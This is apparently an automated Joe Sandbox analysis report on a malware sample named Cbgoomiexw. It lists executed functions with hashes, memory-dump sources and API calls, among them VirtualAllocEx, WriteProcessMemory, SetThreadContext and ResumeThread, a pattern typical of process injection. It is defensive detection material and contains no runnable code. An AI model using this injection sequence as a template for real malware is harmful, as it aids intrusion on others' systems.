Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	0%
Total number of Nodes:	508
Total number of Limit Nodes:	51

Executed Functions

Function 0633C050 Relevance: 16.2, Strings: 12, Instructions: 1155COMMON

Download Yara Rule

Strings

$^q, xrefs: 0633C931
,bq, xrefs: 0633CB1A
$^q, xrefs: 0633C941
$^q, xrefs: 0633C4A7
$^q, xrefs: 0633C2E3
$^q, xrefs: 0633C98A
$^q, xrefs: 0633C4B7
4, xrefs: 0633CA35
$^q, xrefs: 0633C99A
$^q, xrefs: 0633C2F3
$^q, xrefs: 0633C557
$^q, xrefs: 0633C567

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: c78ed7a2865001d895882ef8d28f4a7f5cb8838ab7834c81c03ffa2b10e32c27
Instruction ID: 99c1d4d5ae419e60c76578762eeaa85a20a937ba73b17e73f0b8614a63a08593
Opcode Fuzzy Hash: c78ed7a2865001d895882ef8d28f4a7f5cb8838ab7834c81c03ffa2b10e32c27
Instruction Fuzzy Hash: EAB22C74A00228CFDB54DFA4C884BADB7B6BF48700F158599E509AB3A5DB70ED85CF90

Function 0633C387 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$^q, xrefs: 0633C931
,bq, xrefs: 0633CB1A
$^q, xrefs: 0633C4A7
$^q, xrefs: 0633C98A
4, xrefs: 0633CA35
$^q, xrefs: 0633C557

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: 479bc4ad0dd233708f80c105901c0e89935db041cbeb826ff8fa297e56a6b131
Instruction ID: a4a5d7142e7197f2c8aafc92d7fe322cb51c61d9d457234358c077fd54a43ab7
Opcode Fuzzy Hash: 479bc4ad0dd233708f80c105901c0e89935db041cbeb826ff8fa297e56a6b131
Instruction Fuzzy Hash: F3220B34A00229CFDB64DF64C984BADB7B2BF48305F159199E509AB3A5DB30ED85CF90

Function 06338420 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

Te^q, xrefs: 063386F5

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 82f6d0f653827c47716b43141f6fbb3b3d0c739101d6294188bcee98c1dfe12d
Instruction ID: 57795808e9efa2bd959f7e6a5021b44ae90b6430f15b310e0965cc9fa8b32c28
Opcode Fuzzy Hash: 82f6d0f653827c47716b43141f6fbb3b3d0c739101d6294188bcee98c1dfe12d
Instruction Fuzzy Hash: D7F1F874E05228CFEBA4CF69D844BA9B7F6BF49300F1091AAE50DAB654D7705985CF80

Function 06338410 Relevance: 1.6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

Te^q, xrefs: 063386F5

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 26325b64ef6caeea649d180d19bd4a178dde99dff0d44feba3be72de74b6b8b4
Instruction ID: 93cebeb5068efd14d848fa566f9a6ea822c33bb77eb04cd943448c6e175aff72
Opcode Fuzzy Hash: 26325b64ef6caeea649d180d19bd4a178dde99dff0d44feba3be72de74b6b8b4
Instruction Fuzzy Hash: F3F1F674E05228CFEBA4CF69D844B99BBF2FF49300F1091AAE509AB654DB705A85CF50

Function 06302428 Relevance: 1.6, APIs: 1, Instructions: 68nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 063024B9

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e068b9750d96462348de7e85f99442cd215f99ba3d305a3f31bec47c1b750ef8
Instruction ID: 16443c8d40d2897d0390154ff0d3fd23f92cdba28cecb425a09a2e9d185cbeea
Opcode Fuzzy Hash: e068b9750d96462348de7e85f99442cd215f99ba3d305a3f31bec47c1b750ef8
Instruction Fuzzy Hash: 502102B59013499FCB10DFAAD884ADEFBF5FF48310F20842AE559A3240C775AA45CBA5

Function 06302430 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 063024B9

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 822a60eb443b48bf4bdfc4e87d094d5abb0838dadca5c3895e2a4a5b11fae7ee
Instruction ID: af53345dd564eae63f51684ee7c4e976b15f8eafae76f3f51f79ae276a37cd81
Opcode Fuzzy Hash: 822a60eb443b48bf4bdfc4e87d094d5abb0838dadca5c3895e2a4a5b11fae7ee
Instruction Fuzzy Hash: 462116B1D003099FCB10DFAAD884ADEFBF5FF48310F20842AE519A3240C7759904CBA1

Function 06303518 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0630358E

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 1f9c224afb9733b51bdcb3c4cf74e22315aa8327ee4b8c5ffe3980f5f3a82bf1
Instruction ID: ada149cdb82274d0dc556e252984cdf740252e2c8fc49ccc445690bae36461e3
Opcode Fuzzy Hash: 1f9c224afb9733b51bdcb3c4cf74e22315aa8327ee4b8c5ffe3980f5f3a82bf1
Instruction Fuzzy Hash: 382106B5D043498FDB10DFAAC4456AEFBF4EF88320F14842ED459A7250CB78A945CFA5

Function 06303520 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0630358E

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8cdfd31e3e6b4a47828483f488666102907b073be2c931a62554ad7966753d72
Instruction ID: 1e8c174a54c47caad987c84c60e890782176a72181cf1ec2b46b83fc705e27bf
Opcode Fuzzy Hash: 8cdfd31e3e6b4a47828483f488666102907b073be2c931a62554ad7966753d72
Instruction Fuzzy Hash: 7C11E4B5D003098FDB10DFAAC485A9FFBF4EF88324F10842AD459A7250CB78A945CFA5

Function 0660D6B0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 0660D7B5

Memory Dump Source

Source File: 00000003.00000002.1908231985.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_65f0000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 35e6532e69b96e7d52cce2e7c6eee1ce93385f65fa6e3be5021e031f04fba179
Instruction ID: 0c371f1c58619b54f3561730bb1c2ace55b3ec78bff158f71a6b17646aa6b3c2
Opcode Fuzzy Hash: 35e6532e69b96e7d52cce2e7c6eee1ce93385f65fa6e3be5021e031f04fba179
Instruction Fuzzy Hash: 8FD1B474E00218CFDB54DFA9D994A9DBBF2BF88300F1081A9D419AB369DB31AD85CF51

Function 06130048 Relevance: 4.3, Strings: 2, Instructions: 1834COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06131549
4'^q, xrefs: 06131559

Memory Dump Source

Source File: 00000003.00000002.1906887763.0000000006130000.00000040.00000800.00020000.00000000.sdmp, Offset: 06130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6130000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 5f806fa7868750d5077d843aa28e2733092275e14ae70f4a6875161e5508b432
Instruction ID: be5c5ce04ae4d78c97d2d929ad4ed5cffb5ee67c40ad7684adafe97de0fa9840
Opcode Fuzzy Hash: 5f806fa7868750d5077d843aa28e2733092275e14ae70f4a6875161e5508b432
Instruction Fuzzy Hash: 99F2E170D09398EFDB56DBB4CC59BAE7FB5AF0A301F05409AE141EB292C7745844CB62

Function 0633E7B9 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0633EAE3
$^q, xrefs: 0633EAD3

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 5d602687a8813c5425edb62694587e0f13e15f93edeeb71530fc0b30224b55e6
Instruction ID: cff0e32c18bc8756a2f1076085ba5fe6436223d0cb3b8692cec7d8cc3bc95ec9
Opcode Fuzzy Hash: 5d602687a8813c5425edb62694587e0f13e15f93edeeb71530fc0b30224b55e6
Instruction Fuzzy Hash: 19126034E00229CFDB55DFA4D854AADBBF2FF48701F148116E816AB398DB38A945CF91

Function 061318C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06131D56
4'^q, xrefs: 06131D66

Memory Dump Source

Source File: 00000003.00000002.1906887763.0000000006130000.00000040.00000800.00020000.00000000.sdmp, Offset: 06130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6130000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: f5892a3fff9a476c9603d61ccbf3d23c3b167afb60c6eaba2430eb05c2fc4fce
Instruction ID: aa7ea9d7fa0c8ea2e31587b99be287854f8d2a436dc69906c5729f93d2554e79
Opcode Fuzzy Hash: f5892a3fff9a476c9603d61ccbf3d23c3b167afb60c6eaba2430eb05c2fc4fce
Instruction Fuzzy Hash: 8BF1E174E01318EFCB98DFA5E4896ACBBB2FF49316F20846AE416A7354DB305985CF10

Function 06131598 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06131878
4'^q, xrefs: 06131888

Memory Dump Source

Source File: 00000003.00000002.1906887763.0000000006130000.00000040.00000800.00020000.00000000.sdmp, Offset: 06130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6130000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 51c07522d5208bde7c39211643c0df6f9d3b6bdba4a24ef9fdb0be2772581b75
Instruction ID: ab596d0544388ecd3d639f125bc388ad8562b3559c80bd051f4da9306cd6f261
Opcode Fuzzy Hash: 51c07522d5208bde7c39211643c0df6f9d3b6bdba4a24ef9fdb0be2772581b75
Instruction Fuzzy Hash: 37A1F274E00218DFDB89DFA5D449AEDBBB2FF88301F14846AD912B7294CB745982CF90

Function 0633DD90 Relevance: 2.7, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 0633DE96
Hbq, xrefs: 0633DF25

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 97da24cf9d45d0f2c20a4bddf93f0450e1585accb9d0275cf78ca5e9ff3f669a
Instruction ID: fc1e9cf19cfe6c6d8d1ce5d5dbe3890f5032e18e19644088cf99aaf24052f173
Opcode Fuzzy Hash: 97da24cf9d45d0f2c20a4bddf93f0450e1585accb9d0275cf78ca5e9ff3f669a
Instruction Fuzzy Hash: 92517A34B002148FC799AF38C45462EBBF3AF99711B1484ADE50A9B3A5CF35ED46CB91

Function 063324A0 Relevance: 2.5, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

5, xrefs: 06332543
h, xrefs: 06332573

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: 5$h
API String ID: 0-1868625573
Opcode ID: ffe96ad15f91bcf603c5b90a8183b5e7f14df9393cf047bad89b79b7cc20dda9
Instruction ID: b8ecc88c5343eb2b50734cc28893c2113c4f86908d6002a1eca346f3e9042386
Opcode Fuzzy Hash: ffe96ad15f91bcf603c5b90a8183b5e7f14df9393cf047bad89b79b7cc20dda9
Instruction Fuzzy Hash: F821A2B4D142288FDBA4DF28C89479ABBB6BB48305F4041EAD64EA7250DB309E84CF45

Function 0633F340 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0633F5CD

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 507924de27970a662d20affc1f1bd7ed53ba5b92a52696b4295606cb5e932488
Instruction ID: 8937cf5e10dd9b7b0288bc21b57812e786331a0cb416f767d149d3092eb6d820
Opcode Fuzzy Hash: 507924de27970a662d20affc1f1bd7ed53ba5b92a52696b4295606cb5e932488
Instruction Fuzzy Hash: 78229C35E002249FDB44DFA9D494A6DBBF2BF88310F548069E905AB3A5CB71ED84CF90

Function 06302B46 Relevance: 1.7, APIs: 1, Instructions: 209processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06302D2A

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3a30bba12fb7c72d3970ddac9a04a635285d8fb787c95f0e61f625b8c854a932
Instruction ID: 80939e5a4fc41f28355226a9a9831f11dd36fce0912289574ffa080df53bfa44
Opcode Fuzzy Hash: 3a30bba12fb7c72d3970ddac9a04a635285d8fb787c95f0e61f625b8c854a932
Instruction Fuzzy Hash: 27815771D006599FEB50CFA9C8957DEBBF1FF48310F14852AE858A7280D7749989CF81

Function 06302B50 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06302D2A

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 77c5d12708bc931a61a6325003de5f5403859e9bb3e9cf5ecf4d8e4b5ed37e7c
Instruction ID: 0bf2514052cf780af6d7253bb7506a0c968d2fc54e6d428b710a8bf211ad219a
Opcode Fuzzy Hash: 77c5d12708bc931a61a6325003de5f5403859e9bb3e9cf5ecf4d8e4b5ed37e7c
Instruction Fuzzy Hash: 1D813671D006598FEB50CFA9C89579EBBF2FF48310F14852AE869A7280D7749989CF81

Function 0260A7B0 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0260AA06

Memory Dump Source

Source File: 00000003.00000002.1880985984.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2600000_Cbgoomiexw.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1168a3814267a38e6ca9dfd078f86ca6884439f71afca8b83bc2764ea5335ba0
Instruction ID: 782b270ea8d5149f59d51af9ec297143a9382a3ad1b009d4206d4771b7b9b0e8
Opcode Fuzzy Hash: 1168a3814267a38e6ca9dfd078f86ca6884439f71afca8b83bc2764ea5335ba0
Instruction Fuzzy Hash: 3E711370A00B058FD728DF6AD09475BBBF2FF88344F00892ED58A97A80D775E946CB95

Function 06303368 Relevance: 1.6, APIs: 1, Instructions: 75injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06303400

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 44b6aa77b349287549fab13855f93e5455f40d84359d333e256c7ec408221885
Instruction ID: c0929cd58e48226a631af912aa1cf3768200f8cda945769e26f60c3702e98fe6
Opcode Fuzzy Hash: 44b6aa77b349287549fab13855f93e5455f40d84359d333e256c7ec408221885
Instruction Fuzzy Hash: 51215CB59003599FDB10DFA9C885BDEBFF5FF48310F108429E959A7281C7789545CBA0

Function 06303370 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06303400

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 918d6d520dd1172168c88432e546a4df59554ddb3ecd517e331bc131b229d3ea
Instruction ID: f8dc3722dc85bbe59616d45410f0a778f3619c2f7965f63c774d515dbbaf4dc9
Opcode Fuzzy Hash: 918d6d520dd1172168c88432e546a4df59554ddb3ecd517e331bc131b229d3ea
Instruction Fuzzy Hash: A52139B5D003099FDB10DFAAC885BDEBBF5FF48310F108429E959A7281C7789954CBA4

Function 06302E4A Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06302ECE

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6a524ad665aefa1a6c1a49d755fcd5c6b02840a3d46828793f25075d39ec1666
Instruction ID: f72d1725f230d68cc84327e3d0516fb031a964311e4e62f4ee4b7ec820051c58
Opcode Fuzzy Hash: 6a524ad665aefa1a6c1a49d755fcd5c6b02840a3d46828793f25075d39ec1666
Instruction Fuzzy Hash: 5B215C759003098FDB10DFAAC8457EFBBF4EF88324F148429D459A7281C7789A49CBA5

Function 06303758 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 063037D4

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4d9f60947cf33634bead5562c53a7f9690aa5d190209a50f5ffea4cfc6f9a5b6
Instruction ID: 607549121eec9b1743314bf994d4668cfd204388deb4058550587022a82c8a0f
Opcode Fuzzy Hash: 4d9f60947cf33634bead5562c53a7f9690aa5d190209a50f5ffea4cfc6f9a5b6
Instruction Fuzzy Hash: 692128B59043099BDB10DFAAC845AEFBBF5EF88320F148429E459A7241C7789644CBA5

Function 0260B530 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0260D056,?,?,?,?,?), ref: 0260D117

Memory Dump Source

Source File: 00000003.00000002.1880985984.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2600000_Cbgoomiexw.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c4488641b0461616c89c9035f2a53958bf7ed4c139d3a0a3a2b856b9407f7df5
Instruction ID: 93e6552af7edae29e44846e141f80d20c9cc6cce7e0588ced31f47b9c4df6bea
Opcode Fuzzy Hash: c4488641b0461616c89c9035f2a53958bf7ed4c139d3a0a3a2b856b9407f7df5
Instruction Fuzzy Hash: A321E3B59003489FDB14CFAAD984AEEBBF4EB48314F14805AE918A3350D378A954DFA5

Function 0260D088 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0260D056,?,?,?,?,?), ref: 0260D117

Memory Dump Source

Source File: 00000003.00000002.1880985984.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2600000_Cbgoomiexw.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1c817d8e64b23156aec335e450de9aec13c293351c24962dfa35bf1ed3cb5b6c
Instruction ID: 6b77005e99a87914b1dc862906b1f8f42e51d0f29abf968cad877bf1379d0b44
Opcode Fuzzy Hash: 1c817d8e64b23156aec335e450de9aec13c293351c24962dfa35bf1ed3cb5b6c
Instruction Fuzzy Hash: AA21F5B5900208DFDB10CF9AD984ADEFBF5FB48314F14845AE958A7350D378A954DF60

Function 06302E50 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06302ECE

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8fb56c7fc661ba7341ed0f5e5accd6389d4aa12b1939fc8e0df64dd63f6475df
Instruction ID: 441a37f6d1da949794f8bec2db23ff0df1dd4902673de0e396b32e7c8322277e
Opcode Fuzzy Hash: 8fb56c7fc661ba7341ed0f5e5accd6389d4aa12b1939fc8e0df64dd63f6475df
Instruction Fuzzy Hash: 912139719003098FDB10DFAAC4857AFBBF4EB88314F148429D459A7280C7789949CBA5

Function 06303760 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 063037D4

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 28fbadf7a6134a728c87af8ef098e643fe4ba001c9062fe1747de07ddde3eec6
Instruction ID: a557e336492590c7bdb962c2231ac7c1c4ef403f9bc82418260ef8d7dc8d4883
Opcode Fuzzy Hash: 28fbadf7a6134a728c87af8ef098e643fe4ba001c9062fe1747de07ddde3eec6
Instruction Fuzzy Hash: 9F2115B19003098FDB10DFAAC845BEEFBF5EF88320F108429D459A7240CB789945CFA1

Function 06303269 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 063032DE

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bdbd0820c7a9082871488b5b91b51a523c79e2bfd39beff4b9aa76ddc46e9dcf
Instruction ID: d07a94319c01a81a93401ae0b3673b108c2013f1942fa7fafa0fbd23702a2b7b
Opcode Fuzzy Hash: bdbd0820c7a9082871488b5b91b51a523c79e2bfd39beff4b9aa76ddc46e9dcf
Instruction Fuzzy Hash: C01147758002499FDB10DFAAC845ADFFFF5EF88320F148419E559A7250CB75A954CFA0

Function 026092A8 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 0260931D

Memory Dump Source

Source File: 00000003.00000002.1880985984.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2600000_Cbgoomiexw.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 3e39622329c5afa0463549569c0d5057fb00d991b3c0b56d12e7034060b1c651
Instruction ID: 2fd626d146e507743f8a2191617e976ff2a9b4a707885dd85b4fdf1b84b9b588
Opcode Fuzzy Hash: 3e39622329c5afa0463549569c0d5057fb00d991b3c0b56d12e7034060b1c651
Instruction Fuzzy Hash: 3021A9B1805388CEDB21CF65D5043DEBFF0EB0A310F15849AD089A7282C338AA48CF62

Function 06303270 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 063032DE

Memory Dump Source

Source File: 00000003.00000002.1907640161.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6300000_Cbgoomiexw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9c4e935438c89ec69df4a787457aedf7b3a85f72d857b17a42222bbab8e53ad5
Instruction ID: 2730e56decd81470a5198405e0185d3a127a5b43f113fc90e8c393970de16a49
Opcode Fuzzy Hash: 9c4e935438c89ec69df4a787457aedf7b3a85f72d857b17a42222bbab8e53ad5
Instruction Fuzzy Hash: 6B1156718002098FDB10DFAAC845ADFBBF5EB88320F108419E519A7250CB75A944CFA0

Function 026092B8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 0260931D

Memory Dump Source

Source File: 00000003.00000002.1880985984.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2600000_Cbgoomiexw.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5e35eeaecfda3cd9ffbd4ab05b7e4e1a7c5fc7ccaf0d10a8da6b762c028b9da2
Instruction ID: dcaab9fa5b907af33465291226d13bbb6756080288b80a28e34fb166ed165e02
Opcode Fuzzy Hash: 5e35eeaecfda3cd9ffbd4ab05b7e4e1a7c5fc7ccaf0d10a8da6b762c028b9da2
Instruction Fuzzy Hash: FF11DDB18003888ECB24CF99D1043DFBFF4EB04310F108499D489A3282C338AA48CFA1

Function 0260A9A0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0260AA06

Memory Dump Source

